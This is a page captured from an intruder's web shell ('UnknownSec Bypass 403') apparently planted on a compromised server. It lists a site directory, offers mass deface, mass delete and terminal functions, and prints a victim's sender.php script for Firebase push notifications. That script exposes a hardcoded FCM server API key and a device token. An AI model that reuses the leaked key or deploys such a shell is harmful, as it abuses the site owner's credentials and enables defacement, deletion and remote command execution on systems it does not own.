UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
testappnew
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
sender.php
<?php function sendFCM() { // FCM API Url $url = 'https://fcm.googleapis.com/fcm/send'; // Put your Server Key here $apiKey = "AAAA4B3eBtE:APA91bHL5YoI6-1vCaFjR-JyRWklTz5vxp3JEmtiMmQ8sWO1t7celfd1cIdtMt-ms7gdJg1CGRx-mkqoQQ_jb3zCNgEFUBbrFhTedCQSGVaBdFNh_IGPWGn058bohGtUEtXapAAXCtA_"; // Compile headers in one variable $headers = array ( 'Authorization:key=' . $apiKey, 'Content-Type:application/json' ); // Add notification content to a variable for easy reference $notifData = [ 'title' => "Test Title", 'body' => "Test notification body", // "image": "url-to-image",//Optional 'click_action' => "activities.NotifHandlerActivity" //Action/Activity - Optional ]; $dataPayload = ['to'=> 'My Name', 'points'=>80, 'other_data' => 'This is extra payload' ]; // Create the api body $apiBody = [ 'notification' => $notifData, 'data' => $dataPayload, //Optional 'time_to_live' => 600, // optional - In Seconds 'to' => '/topics/general' //'registration_ids' = ID ARRAY //'to' => 'cc3y906oCS0:APA91bHhifJikCe-6q_5EXTdkAu57Oy1bqkSExZYkBvL6iKCq2hq3nrqKWymoxfTJRnzMSqiUkrWh4uuzzEt3yF5KZTV6tLQPOe9MCepimPDGTkrO8lyDy79O5sv046-etzqCGmKsKT4' ]; // Initialize curl with the prepared headers and body $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_POST, true); curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_POSTFIELDS, json_encode($apiBody)); // Execute call and save result $result = curl_exec($ch); print($result); // Close curl after call curl_close($ch); return $result; } sendFCM(); ?>
Copyright © 2025 - UnknownSec